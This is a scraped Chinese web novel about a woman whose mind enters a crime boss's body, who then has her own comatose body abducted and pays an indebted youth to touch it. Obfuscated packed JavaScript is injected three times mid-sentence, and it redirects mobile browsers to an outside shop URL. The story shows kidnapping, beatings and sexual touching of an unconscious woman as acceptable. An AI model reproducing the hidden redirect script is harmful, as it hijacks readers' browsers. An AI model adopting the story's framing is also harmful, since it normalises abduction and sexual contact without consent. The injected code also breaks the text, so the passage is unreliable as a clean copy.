《水仙还是三角我自有定论》 1. 两个我 “我网恋了。” 这是纪卓进来时听到的第一句话。 堪比雷霆暴击。 好在他是一个专业的管家。专业,意味着他可以任凭内心崩塌泥石流而表情冷静得像焊了面具。 所以他只是推了推眼镜,将视线投向对面说话的男人。 男人坐在真皮沙发里。 英俊,健壮,像一尊包裹着丝绸的古典雕像。黑发凌乱,领口微敞,胸膛露出些许张牙舞爪的红色刺青。 可能因为刚醒,只穿了睡衣,拿着手机,手指烦躁地滑来滑去。屏幕上的亮光溅进眼底,顺带着照亮深邃阴沉的面孔。 ——姜尘。 纪卓在心里默念男人的名字。 姜尘,C城最不能惹的人物,做事狠辣,手眼通天。年轻时白手起家,如今已坐拥无数财产,掌管多处势力。 普通人只知道姜尘有钱,经营了不少娱乐产业,常常出现在各种金融经济新闻上。但商业财富仅仅是显露在水面上的冰山。 普通人也只知道,姜尘低调,不爱出门,城郊半山别墅是长住之地。 纪卓作为这栋半山别墅的管家,掌握的信息更多一点。比如他清楚,姜尘不爱外出走动,或多或少是因为憎厌社交。 没错,姜尘有厌人症。 任何商业的私人的社交活动,姜尘都很讨厌。有权有势的大佬,熟识的合作伙伴,漂亮的男男女女,全都不能让他喜欢。甭管你是说话风趣还是长得好看,在姜尘眼里都是一坨聒噪的屎。 纪卓牢牢记着姜尘的脾气,做事能简洁就绝不多一个步骤,说话能省略就绝不多喘一口气。 如此懂事,高效,才能长长久久地担任管家一职。 ……网恋。 纪卓再次咀嚼了这个词。 天塌了,世界末日了,姜尘被人夺舍了。 是什么能让姜尘这张无情的嘴巴吐出网恋这么恐怖的词?网恋不是千禧年才流行的东西吗?而且就算有千千万万小年轻网恋,其中怎么可能混入一个姜尘? 但姜尘的确这么说了。 不仅说了,还把手机屏幕怼到纪卓眼前。 “这就是我的网恋对象。”姜尘面无表情介绍道,“看,是不是很可爱?” 纪卓被迫直视手机屏幕画面。 这是一张照片。 而且是一张带了水印的自拍。 有着棕色长卷发的少女,坐在卧室椅子里,抱着胖乎乎的猫,对镜头露出笑容。 纪卓开口:“先生指的是这只猫吗?的确很可爱。美短加白,性格活泼居多,如果感兴趣,今天我就去挑选。” 姜尘:“我说的是人。” 纪卓沉默。 不是他刻薄,主要是照片里的少女美颜十级加滤镜,皮肤跟煮鸡蛋一样不见毛孔。 美丑是判断不出来的,最多能认定,这是正常的地球物种。 ……姜尘疑似遭受低级网骗。 “先生对她了解多少?”纪卓说了半截又紧急刹车,补充道,“需要我做什么?” 说话间,他迅速提取信息。 照片背景是凌乱的书桌。桌上堆满课本试卷,椅背搭着签满名字的校服。现在是八月,如果照片为近期拍摄,那她应该刚考上大学。 卧室环境一般。少女头发光泽度一般。 经济情况偏下,生活自理能力差。 纪卓又看了一眼照片里过度美颜的脸。 加一条,她审美很糟糕。 这样一个贫穷、生活无条理、审美能力低下的女生,是怎么跟姜尘搭上关系的? “她叫姜陈。”姜尘将手机扔在茶几上,语气不算很好,“是不是很巧?我和她的名字仅有一字之差。” 因为误触,屏幕照片滑走半边,于是纪卓看见下方平台标识。 哦,这还是她的社交主页。 姜尘甚至没能拿出一张像样的照片来,只从网上扒了个自拍给纪卓看。 “她住在河林路幸福小区3栋7号。”姜尘打断纪卓内心吐槽,“酗酒的爸,生病的妈,但半年之前双亲都没了。所以她现在是个孤儿,独居,没有开学,缺乏社交。” 说着,姜尘看向纪卓。 “我看上她了。纪管家,你准备一下,去把人抓回来。” 纪卓:“……?” “进门密码是521125。”姜尘继续说话,“她应该在睡觉。但也有极其微小的清醒可能。如果醒着你就把她弄晕。不能受伤,明白我的意思吗?” 纪卓:“明白。” 不,他不明白。 姜尘和姜陈怎么认识的,又发生了什么,他全都不知道。总归现在不是网恋该有的操作。 不过这样反而放心了呢! 不干人事的姜尘,看起来正常多了! “我这就去办。” 专业的纪管家露出一个冷静的微笑,退出房间,还很贴心地轻手轻脚关了门。 伴随着房门闭合的咔哒声,懒懒坐在沙发里的男人突然弹起来。 他抓起茶几上的手机,关掉社交主页,滑到拨号页面再次拨打熟悉的号码。 这是第五次拨打。 依旧没有人接。 手指滑动,从一堆金融app里挖出聊天软件。打开之后,里面堆满了未读红点。列表全是不认识的人,说的话没一句能接。 于是他又摁灭了手机。 这间屋子是小客厅。连接主卧。他转身推门,穿过卧房,前往浴室。 有钱人的房间都很宽敞。而这栋别墅是极其华丽的巴洛克复古风,连浴室的吊灯都是玉石质感的玫瑰花。柔和光线打下来,照亮了镶嵌着铜质花边的大圆镜。 他走向镜子。 扯开丝绸睡衣,脱掉短裤,毫无遮蔽地走过去。 镜子里的男人很高。大约有一米九。 完美的倒三角体型,肩宽腿长,肌肉蓬勃。 胸膛,上臂,攀爬着密而细的红色纹路。是层层叠叠互相纠缠的莲花与毒蛇。 扭转身躯,能看到后背完整的图案。菩萨怒目执剑,脚底蛇信嘶鸣。 垂落的莲瓣一直延伸进尾椎骨。 他忍不住摸了下后腰。 摸到一点微微凸起的伤疤。 原来这些纹路是为了遮掩旧伤。 如果仔细看,会发现腿上也有陈旧疤痕,像弹孔。 “……” 芜湖!好危险!好涩!荷尔蒙爆棚!怎么看都是那种从漫画里走出来的成熟性感大反派,正中xp! 镜前的人兴奋地扭了几圈,啪,甩着大腿了。 真沉。 他向下瞄了一眼,捂住嘴嘀嘀咕咕。 “我还没谈过恋爱呢,就看这么多。” 但是不看白不看,不摸白不摸。 毕竟这身体现在是自己的。 “姜尘。” 男人喃喃自语,按住自己胸膛。 心脏沉稳有力地鼓动着。一切都恰到好处,无比真实,就像他原本就活在这具躯壳之中。 可是,就在今天早晨之前,他还叫做姜陈,躺在破旧小区的凌乱卧室里。穿着睡裙,性别为女。 他,或者说她,只是个无所事事的大学生预备役。 如无意外,她本该浑浑噩噩度过枯燥的夏天,然后拎着大包小包去隔壁城市上学。 可就在今天清晨,睡得迷迷糊糊的姜陈隐约听到一句呢喃。 “……我不想要这样。” 这声音是从脑内响起的。莫名其妙,毫无来由。 紧接着,大量不可描述的画面与文字强行灌进大脑,险些将姜陈痛疯。 她从床上跌下来,视野瞬间扭曲。意识浮浮沉沉,像要被撕碎,又被什么无形的手摁住,不断地下压再下压。 彻底恢复清醒后,周围的环境已经大变。 泛着霉味儿的房间成为宽敞舒适的大卧室,撑住地板的手也不再熟悉。 她变性了。 更准确点儿说,她的意识钻进了名为姜尘的大佬体内。夺舍,魂穿,什么离谱说法都行,毕竟还有比这更离谱的现实需要消化。 她姜陈,遵纪守法好公民,老老实实一学生,天坑专业苦命人,竟然活在一篇限制文里。 而且是女主角! 剧情开始于入学报到当天。按照设定,她会不小心惹怒几个富二代,从此遭受各种玩弄,结识形形色色天龙人,走上虐身虐心的不归路。 太刺激了,想想都幻痛。 姜陈没有受虐的癖好,她得自救。 所以她花了一点时间,确认自己的状况。 这个叫做姜尘的男人,是剧情里的男N号。要等很久以后才能登场。彼时姜陈已经被折磨得支离破碎,从某个霸道纨绔身边逃走之后,恰巧撞上姜尘。 姜尘收留她,认她为干女儿。 然后发展一段不可描述的禁忌关系。 什么囚禁,监视,D那个S……搁晋江都不能过审。 好在现在什么都没发生。 姜陈不清楚自己怎么会跑到姜尘身体里,这大约是个神奇的bug。按照约定俗成的身穿规矩,姜尘的意识极有可能换到了她那边。 不过也说不准。 为了确认情况,她尝试离开半山别墅。 ……随后发现自己无法踏出别墅范围。 用人脸识别打开姜尘的手机,给家里打电话,也无人接听。 试探着喊来别墅管家,发现对方对她言听计从,并未察觉壳子换人。 姜陈视线向右移动。镜子旁边挂着个监视屏,正放映着别墅大门附近的景象。画面中,纪卓带了两个保镖,开车驶离大门。 看来,不参与限制级剧情的npc,可以自由行动。 话又说回来,别墅里的监控是真的多。小客厅和浴室都有屏幕,路过主卧时,那面正对着床的全墙高清大屏也很可疑。 文中的姜尘应当是个控制狂。 这不巧了?她姜陈也喜欢把主动权握在自己手里,每件事都不喜欢出意外。 比如现在,她既然变成了姜尘,就不会把这个身份让出去。 既然知晓了世界的真相,那这个该死的世界就该成为她的游乐场。 要抢,要争。把道德扔进下水沟,解决每一个可能出现的危险。 她望着镜子里的男人,再次呼唤。 “姜尘。” 镜中人有着极其优越的长相。大约有一点混血基因,额头饱满,浓眉高鼻,眼尾微微下压,含着难以消散的阴郁。唇形也很完美,但缺失血色。 “我是姜尘。” 她牵起唇角,原本阴沉的面容逐渐糅杂欢欣。 “姜尘要保护好姜陈。” 不管世上还有没有另一个姜尘,就算有,她也得让他消失。她可不是什么喜欢物归原主的好心人,善良与天真只会让她沦为玩具。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498392|202611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她要做占据鹊巢的尸鸠。 要让剧情永远无法开启。 …… 纪卓出发的时间是上午九点。 在他回来之前,姜陈……不,现在该称为姜尘了,他洗了个澡,在挂满礼服西装的衣帽间里挑了身衬衫长裤,并在琳琅满目的抽屉里选了块表。 遵循着角色原有的喜好,将自己打扮好。 搜查主卧,小客厅,茶室,书房,阳光房。 将二楼转个遍,熟悉环境,并在柜子和保险箱里找到了几样足以防身的武器。 走下旋转楼梯,刚到一楼,纪卓回来了。 纪卓面带忧色,一手提着猫箱,身后的女保镖抱着沉睡的少女。 “先生,人带来了。”纪管家让开身位,给姜尘解释情况,“一切顺利,但姜小姐可能需要送去做个紧急检查。正常人不可能睡得这么死,从我进家到把人带回来,她一点反应都没有。” 姜尘没有说话。 他走到少女面前。 用旁人的视角看自己,体验实在很新奇。 穿着睡裙披头散发的姜陈,安静地躺在保镖怀里。脸蛋巴掌大,五官柔和,偏棕色的睫毛又长又密。 真可爱。 姜尘想,长得可爱,睡相可爱,洗得褪色的粉色兔子睡裙也很可爱。 看着这么轻,这么小,感觉用一条胳膊就可以托起来。 不过,这么可爱的她,现在究竟是一具空壳,还是藏了某人的意识? 姜尘抬手,轻轻捏了捏姜陈的脸颊肉。如今的手掌不比以前,力道难以把握,指腹的薄茧轻易刮红了肌肤。 他顿了顿,手掌下移,拢住细长脖颈。 稍微施力,阻断呼吸。 沉睡的姜陈逐渐变得痛苦,脸庞涨红,嘴唇微张,然而依旧没有醒来。 “先生!” “姜先生……” 眼见就要发生命案,纪卓和保镖都没忍住,挤出了微弱的提醒。 姜尘松手。掌心抚过锁骨,隔着薄薄的睡衣布料,停在心脏位置。 噗通,噗通。 少女的心脏正常跳动。 “姜尘”不在身体里。 冥冥中,姜尘得到了这样的答案。 真好,真好,她还是她自己。 “带去做检查吧。”姜尘开口。 纪卓连忙将人送往医院。这医院当然也是姜尘名下的产业,绝对安全,绝对隐密,绝对高效。 不到半天,人又送回来。 全身体检无异常,只有点儿贫血和营养不良的小毛病。不清楚为何无法苏醒。 搁正常世界里,该把姜陈留作科研样本了。好在这是限制文,医生只建议输送营养液,戴上生命体征监护仪,当个植物人养着。 于是姜尘将人安顿在二楼。没放主卧,放在客房。那房间阳光充足,窗景更好,适合病人休养。 但这并不是姜尘想要的结果。 他希望姜陈是清醒的,也希望姜尘的身体是可控的。 可世上哪能有这样的好事呢? 每个人只能拥有一种人生。像是为了印证这个道理,沉睡的姜陈逐渐显露衰弱的征兆。哪怕打着点滴,输送各种药物,她的体质数据依旧无可挽回地下降,某天夜里监护仪还跳出了红色警告。 “这是什么意思?”姜尘守在床边,焦虑得自言自语,“我换壳子了,原本的我就得去死?” 不行,不行。 这样的话,他宁可回到原来的身体里。 可意识怎样才能回去? 睡觉,碰撞,死亡危险? 姜尘着手尝试。 失败,失败,还是失败。 因为他长久地逗留客房,别墅诞生了姜尘痴恋植物人的传闻。听着太吓人了,佣人都不敢往客房去,只能拜托纪卓送餐。 夜里,纪卓端着餐盘,做足心理准备,开门查看情况。 一开门,瞳孔地震。 昏暗的房间内,男人站在床边,一手扼住自己咽喉,一手掐着少女脖子。 是凶杀现场!姜尘疯啦! 纪卓直接掀飞了餐盘,扑过去救人。救哪个也不知道,总之没成功,还被姜尘推倒在床沿,右手不小心按住了病人的胸。 滴滴,滴滴。 和绵软触感同时降临的,是变得活泼的监护仪提示音。 姜尘的目光瞬间变得犀利。 “抱歉,我这就起来……”纪卓连忙松手。 说那时迟那时快,姜尘用力扣住他的右手,将动作焊死在姜陈胸脯上。 滴滴,滴滴滴! 监护仪的提示音愈发充满生机! 纪卓整个人都是懵的,只觉掌心仿佛陷进最柔软的绸缎。但这触感又比绸缎更有弹性。心脏的搏动感顺着指尖流入臂膀,带动着自己的心跳也激烈如擂鼓。 怦怦……滴滴滴…… 机器声和心音混杂在一起,好似荒诞欢乐奏。 不是,不对,现在什么情况? 他半仰着歪在床上,几乎压着沉睡的少女。而姜尘扣着他的手,死死盯着监护仪,瞳孔像狼一样紧缩着。 “先生,我……” 纪卓艰难开口,随即被姜尘打断。 “闭嘴,不准把手拿开。”姜尘冷冷命令着,紧咬牙槽,下颌绷得死紧。颈间的掐痕犹自红肿,唇角逸出的话语却带了怪异的嫌恶与兴奋。 “继续摸,别停。” 2. 寻找猎物 纪卓觉得雇主真的疯了。 先是网恋,再是抢人,然后凶杀未遂。现在还强迫他碰一个昏迷的病人。 不过想想也合理。姜尘有精神分裂病史,虽然纪卓从未见证过犯病时刻,也没听说这人有什么见不得光的人格,但万一呢?万一姜尘的隐藏人格有特殊癖好,喜欢生机盎然的绿色呢? “动手。” 姜尘如此发号施令。 纪卓隐隐约约记得,在过去,他应当听过很多次类似的命令。这句简短的话语往往是残酷的信号,意味着一场清扫,一次兵不血刃的商战,或者带着铁腥味儿的脏活。 纪卓并不只是别墅的管家。某种程度上,他算姜尘的助理,是年轻又得力的清道夫。 但那些过往的记忆并不清晰。像刻在脑海里的几行字,某种固定的印象。 现在,在这昏暗温暖的房间里,被迫按着姜陈的他,感官更加真实,敏感,精神高度紧张。 姜尘移开了手。 所以纪卓不再受到任何肢体禁锢。 但落在少女身上的手掌,却仿佛压着千钧重量,挪不动也躲不开。 姜尘的声音凉飕飕地,听着让人心底发毛。 “摸。” “力道太轻,挠痒痒呢?把你刮痧的劲儿使出来。” “你和面呢?换另一边。” 这些话越听脑子越木。 到最后纪卓干脆放弃了思考。脑子一丢就是干。 但姜尘显然不满意纪卓的表现。 他站在床边,注视着监护仪起伏平缓的曲线,很不高兴地啧了一声。 “这程度还不太够么……” 姜尘回头,泛着些微绿色的眼珠子转向纪卓,“手伸进去揉,别隔着裙子。” 纪卓顿住。 身体定格三秒,鼻腔滴滴答答。 流鼻血了! “这不是兴奋。”纪卓勉强维持着平静的表情,向姜尘解释,“是大脑过载,真的。我不是猥琐变态,也不是压抑患者。” 平心而论,纪管家的外形条件很优越。年轻,克制,气质冷淡。五官俊秀,而且还有双丹凤眼。配上精心剪裁的制服,别有一种禁欲感。 但现在禁欲管家在流鼻血。 赶在鼻血滴到姜陈身上的前一刻,姜尘把人拎了起来,扔到地上。 “滚,废物。”他说,“太丢人了,今天不要让我再见到你。” 纪卓爬起来就走。 “等会儿。” 恶魔般的声音再度响起,“去物色个新人。要年轻,体格好,长得帅,干净,而且是个好人。明天一早,我就要见到。” 纪卓连鼻血都没力气擦了。 这是嫌弃他不行,没法尽兴地配合雇主玩绿色play吗! 哪家的好人愿意跟姜尘这么玩? 而且这种莫名其妙的挫败感和愧疚感是怎么回事? 纪卓不理解,纪卓裂开。 纪卓被不耐烦的姜尘一脚踹出房间。 砰! 门关死了。 里面的姜尘收起冷酷霸道拽的姿态,对着空气疯狂挥舞拳脚,打了一套酣畅淋漓的广播体操。 气死了! 啊啊啊啊啊生气! 他给自己的身体做陪护,守了这几天,抱也抱过,衣服也换过,日常清洁也亲力亲为。可体征数据跟山体滑坡一样无可挽回。 换了纪卓,挨一下她竟然就有起色。 不愧是限制文!治疗衰败女主的办法竟然是最朴素的亲密接触! 而且还得上强度,蜻蜓点水的贴贴效果不大,只够监护仪数据短暂好转。 纪卓是个废物。 姜尘挑剔且恶毒地想,这种看似精英的男人完全就是雕花萝卜,样子货,指不定还肾虚。表现太差,坚决不要。 他绝不承认这种揣测包含了对纪卓的嫉妒。 狗东西,凭什么摸姜陈还敢表现得不情愿。那可是世界上最可爱的姜陈!还没谈过恋爱,就躺在病床上又无助又可怜的姜陈! 可恶。 姜尘怀揣着对自己一百二十分的热爱,跪在床边,小心翼翼的将自己搂进怀里。 既然得靠着亲密手段救治身体,那他就亲自选择满意的工具。 按着自己的审美,喜好,挑一个最好的猎物。 这样才算对得起自己。 “不要难过。”姜尘抚摸着姜陈柔软的长发,垂眸注视她的睡颜。这景象其实有点儿恐怖,毕竟毫无反应的少女像极了一具尸体。 但姜尘拥有百分之二百的滤镜。 爱自己天经地义。 “别怕,不委屈。”他说,“我们要挑个喜欢的,一定让他对你全心全意。” …… 纪管家办事效率极高。 可能因为他是个优秀的牛马。也可能他想利用工作逃避丢人且羞耻的黑历史。 总之,第二天一大早,他顶着两个黑眼圈,带着电脑敲开了客房的门。 “我已按照先生的需求,筛选了本地符合条件的目标。”他给姜尘展现候选照片,语气不带感情地介绍道,“1号,常青藤毕业,家里和我们有商业合作。只谈过一个初恋。2号,家世普通,但长得端正,而且社恐,没交过女朋友。3号……” 纪管家一口气介绍到十八号。 没一个符合姜尘喜好。 说实话,纪卓给的这些候选人,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498393|202611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不如纪卓顺眼。 眼见姜尘的视线又往身上瞟,纪卓脊背蹭蹭竖起寒毛。他从未遇过如此为难危险的局面,要知道姜尘给的要求太苛刻,这年头哪有完全符合条件的人选。 好皮囊大多早早流于世俗,好性格往往不匹配优秀的外表。就算样样都对得上,也得能薅来才是。 “如果能再给我一点时间……” 纪卓试探着开口,瞅见姜尘阴郁的脸,后面的话说不下去了。 他怀疑自己多说一个字,就会被雇主扔到浅水湾喂鲨鱼。 好在手机来电拯救了纪卓。 是城东一处公司打来的电话。 “抱歉,我接一下。喂……”纪卓转身低声细语,没说几句,眸光微亮。“告诉他们,不准动他。先发个照片过来。” 他扭头,对姜尘汇报。 “先生,之前有个小老板,和底下的商场签了合同,但资金链断裂,欠了我们一大笔钱。又去外面赌博,输光了家产,还不起赌债,跑了。赌场的人来催债,他家里只剩个刚考上大学的儿子,差点儿被剁手,正好我们的人也上门,拦了下来……” 姜尘:“说重点。” “商场负责人本来是想问问这事儿怎么处理的。不过,先生不妨看一看这家的儿子。” 纪卓递来手机。 屏幕显示着一张刚拍的照片。 满地破碎狼藉之中,跪着个年轻男生。短发,眉眼锋利,薄唇紧抿。 可能因为经历过厮打,身上的短袖成了破布,露出肌肉流畅的臂膀与腰腹。手脚被人踩着,脖颈却倔强昂起,似乎察觉到拍摄镜头,脸庞微侧,浅色的眼珠略微眯起。 丝丝缕缕的阳光落在他身上,将蜜色的肌肤映出璀璨的色彩。 “他叫祝峥。”见姜尘沉默不语,纪卓小心说话,“体育特长生,投掷标枪的,因为成绩经常破纪录,还上过电视。” 姜尘盯着照片。 照片里的男生,尚且有几分青涩,却已展露桀骜不驯的神气。 健康,健壮,年轻。 处境孤立无援,前途岌岌可危。 叮咚一声,一份新鲜资料投递至手机。 纪卓直接打开给姜尘看。 文里的世界就是不讲道理,这么快就调查清楚祝峥的经历。从幼儿园到高中毕业,成绩到社交明明白白。 姜尘扫了一眼。 祝峥性格警惕,骄傲,没交到什么朋友。因为专注训练,也没有感情交往体验。 “先生觉得如何?”纪卓问。 姜尘没有直接回答。 他走到床边,抚摸了下姜陈的脸。 片刻,开口。 “把人带来。” 3. 抵债资产 这是祝峥最灰暗的一天。 如果说每个人的人生都有剧本,那他一定是狗血剧里的炮灰,草根文里的丑角。 什么逆袭,打脸,绝境重生,都不可能发生在他身上。 他的人生已经到头了。即便他才刚刚十八岁。 怎么会落到这一步的呢? 被打得遍体鳞伤,像狗一样跪在地上的时候,祝峥不禁如此发问。 原本家境富裕、吃穿不缺的自己,原本体育天赋过人、从小到大享尽欢呼掌声的自己,突然就在短短的几个月里失去了经济倚仗。 而那个曾在离婚时信誓旦旦要将儿子培养成人才的爹,畅想着把生意做大做强的爹,先是被合伙人诈骗到一无所有资金链出问题,又妄想着靠赌博翻身却被人下套,把所有的所有全都输光。 留下巨额欠债,连招呼都不打一个,跑得鬼影子都不剩。 祝峥从训练营回来,刚踏进空荡荡的家,就被蹲点的催债人堵了门。 他当然还不起这个天文数字。对方也不可能和他讲什么父债子不必偿的道理。暴力是最有效的恐吓手段,所以他们动手,他反击,客厅被砸了个稀巴烂,带回来的行李箱也被翻搅一通。 训练服,奖牌,被扔在地上随意践踏。 而那些人摁着祝峥,说是要先砍他一只手。 “听说你是玩标枪的?”锋利的刀刃横在手腕,压出一条血痕,“以后别玩了。” 祝峥恍惚如坠地狱。 他很想和这些人同归于尽,可现实不是爽文,他只能沦为任人宰割的羔羊。 好在又有人登门。这回来的人,看起来更客气,更体面,及时阻止了一场血案。 但也没有解救他。 只是打了个电话,随后打量着祝峥,还给他拍了张照片。 咔嚓。 快门的声音,清脆得毛骨悚然。 祝峥向来直觉敏锐。他有种很糟糕的预感,自己可能会面临比断手断脚更可怕的境地。 被人塞进车里,经盘山公路抵达城郊半山别墅,只需要一个小时。踏进这古典风的奢华居所,登上镀金雕花旋转楼梯时,还能听见唱片机柔和的钢琴曲。 如果他懂音乐的话,就可以辨认出,这是勃拉姆斯的C小调钢琴四重奏。 但祝峥是个没有文艺素养的体育生。 他只嗅到了流淌在空气里的危险。 二楼楼梯口站着个戴着眼镜的青年。神色冷淡,制服笔挺,戴着手套的双手捧着平板敲敲点点,不知在忙什么。 祝峥难得走神一瞬。 神经病吧,玩平板还戴白手套,英伦风是这么玩的吗? “太慢了。”纪卓关闭股票页面,上下打量祝峥一眼,微不可察地皱了皱眉,“怎么没换身衣服?算了,跟我来。” 押送祝峥的人,没有再跟上去。 于是祝峥得到了一点可怜的体面。 他用力擦了下嘴角渗出的血,闷不吭声地跟着纪卓走。 一直走到走廊尽头,纪卓推开房间门。祝峥先是闻到了淡淡的消毒水味儿,接着听见监护仪缓慢短促的滴滴声。 夏风穿进窗户,白纱帘起伏不定。明媚的日光洒在床铺上,沉睡的病人仿佛罩了一层柔光滤镜。 那是一个女孩。 年龄和祝峥应该差不多。 她躺在洁白的床铺间,安安静静地,像没有生命的玩偶。挂着点滴的左手垂在床沿,指尖被烘烤得泛红。 下一刻,纪卓拉上了窗帘。 一层又一层,直至将光线阻挡干净。 原本灿烂温馨的房间瞬间变得阴沉压抑。 “先生不喜欢阳光。”纪卓对祝峥说道,“你以后也要注意。” 注意什么? 祝峥没听懂。 纪卓打开了壁灯。昏黄的灯光将两人身影拉得斜长。无端鬼魅。 走廊间,沉稳的脚步声逐渐接近。不缓不急,带着某种难以言喻的压迫感。 祝峥扭头。 锃亮的皮鞋越过门框,踩在了室内地毯上。而后修长的腿迈了进来。 祝峥视线上移。 掠过质感高级的灰色条纹西裤,包裹着腰身的马甲,以及没有扣紧领口、露出咽喉的脖颈。 他看见了一张有如雕塑般优雅英俊的脸。五官深邃,气质浓烈,冰凉的眼眸不含任何感情。漆黑头发被精细打理过,额前落着些碎发,但这碎发无法遮掩迫人的眼神。 祝峥脊背紧绷。 他的头皮要炸了。 这是种很奇怪的感觉。被催债的人堵门,险些砍手时,都没有如此紧迫压抑的体验。 就好像游戏闯关打完小boss剩了点儿血皮,还来不及喘口气,究极反派大boss在专属音乐里强势登场了。接下来一个平A就能秒掉他。 “我叫姜尘。”男人开口,优雅如大提琴的嗓音缓缓流淌而出,“你好,祝峥。” 祝峥动了动嘴唇,问候卡在喉咙里,尚且来不及挤出,就被姜尘钳住了下巴。 姜尘的手很冷。 打量祝峥的眼神,带着居高临下的挑剔与傲慢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498394|202611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “脸的确不错。身材也可以。听说你没谈过恋爱,不过现在的年轻人玩的花,你真没有性/经验?” 祝峥抑制不住咬紧牙槽。没人喜欢被这么对待,即便他知道自己该垂眼躲避,保持温顺,也还是忍不住瞪视姜尘。 “关你屁事。” 话音刚落,掌风袭来,狠狠刮在祝峥脸上。 姜尘活动了下手腕。他的左手食指戴着指环,猫眼石折射出幽冷的光。 “我再问一遍。”姜尘慢条斯理道,“即便我已经调查过你的身世,还是希望你能亲口告诉我。在过去的十八年里,你是否与人有过亲密接触。亲吻,抚摸,以及……” “没有。”祝峥淬了口带血的唾沫,压抑的脾气挣扎着冒出来,“怎么,你看上老子了?我不玩同性恋。” 姜尘短暂地笑了下。 他伸手,旁边的纪卓立即递上家伙。 姜尘动作停顿。看向掌心。 纪管家给他塞了一柄手杖。黑檀木,手柄装饰着银质毒蛇头,分量挺沉。 其实他本来是想招呼纪卓找人教训祝峥的。没想到纪卓这么贴心,提前备好了道具,显然等着他亲自动手。 姜尘回忆了下人设。行吧,自己的确有这个习惯。 他挥动手杖,敲在祝峥膝盖上。在对方弓腰之际,又抽了一记侧脸,随后抬脚将人踹倒。 祝峥脸颊火辣辣地疼。挨打的腹部翻江倒海。 挣扎着想要爬起来,脑袋却被踩住了。 坚硬的鞋底带来尖锐疼痛。随之落下的,是姜尘冷漠不耐的话语。 “你家欠了很多钱。” 祝峥将牙齿咬得几欲崩裂:“我知道。” “世上最不能欠的就是赌债。一旦有了这债,亲人骨肉都被牵连。不光是作为倒霉儿子的你,哪怕早在四五年前离婚的伴侣,也不能独善其身。” 祝峥脑袋嗡地一声。 “我已经替你还债。你家在外面欠的,你家欠我的,算在一起不是小数目。”姜尘脚尖碾了碾,“从今天起,你就是抵债的货物。” 祝峥艰难地挪动视线,向上望去。 昏暗光线中,姜尘的眼底泛着让人心悸的绿。这使他看起来不像个人,而是披着人皮的乖戾禽兽。形状优美的嘴唇微微扯开,吐出饱含毒素的话语。 “看见床上那个睡美人了吗?” 姜尘问。 “从今天起,你要无微不至地照顾她,爱抚她,掏出全部的爱来对待她。” “放心,我会指导你。” “绝无疏漏。” 4. 初次照料 祝峥一开始没有完全理解姜尘的意思。 好在姜尘离开以后,外表斯文的纪管家递来纸笔,用寥寥数语解释了当前状况。 “床上那位,是先生的恋人。” 纪卓说话客气,思维却与雇主相同,一样傲慢霸道。哪怕姜陈从头到尾都没清醒过,他也替她划定了新身份。 “她生了怪病无法醒来。如先生所说,你需要住在这里,日夜陪护。我知道你没有照顾人的经验,性格也不够细心,为免发生一些意外,请在这里签字。” 祝峥忍着痛爬起来,吐了一口血沫。 他接过薄薄的纸,上面罗列的全是各种禁止事项。 不准伤害姜陈。 不准对姜陈有任何侮辱性的言行。 必须无条件无犹豫听从姜尘的所有陪护建议。如有疑问,请放弃疑问。 下面还标明了日常陪护必须要做的工作,擦洗,换衣,以及处理体/液…… 祝峥手比脑子快,咔嚓将这张纸捏成一团。眉骨发热,有什么正在向下流淌,他摸了一把,摸到满手的红。 纪卓似乎早就预料到了这种情况,平静地递出备用合约。 “请你不要乱想,认真对待陪护工作。对于一个无法起身的患者,难道你认为她应该毫无尊严地躺在排泄物里吗?” 纪管家说得义正辞严,实则底气比祝峥还虚。 正常人怎么会把生病的恋人交给一个毫无陪护经验的门外汉照顾。 而且只看重这个门外汉的长相、品行、健康程度和感情经历。 不行,太变态了,不能深想。 祝峥捏住合约一角。他也不是傻子,能意识到自己正在走进一座怪异晦涩的牢笼。但他根本没有拒绝的能力。 眉骨伤口流出的血,已经染红了左眼。半边视野蒙着红光,以至于所见的一切都染上罪恶血腥的色彩。 但…… 他看见床上沉睡的少女。 毫无知觉,安安静静,躺在柔软的床铺间,仿佛深陷美梦。 什么恋人。祝峥想,姜尘的年纪最起码比姜陈大了一轮。她绝无可能是他正当的恋人。她病了,她什么都不知道,如果祝峥遵从合约的要求照顾她,她醒来以后会不会痛苦难过? 祝峥无从想象。 只能捏紧了沉重的钢笔,一笔一划地,将自己的名字写在纸上。 血水滴落,砸在笔尖,晕开可笑的脏污。 …… 当天,客房做了简单改造。 这间房并不是套间,所以用书架隔出三分之一的空间,里面摆放书桌和沙发以及茶水台。靠墙还增加了酒柜。 祝峥是进不去这里的。新打造的休息区,专供姜尘使用。 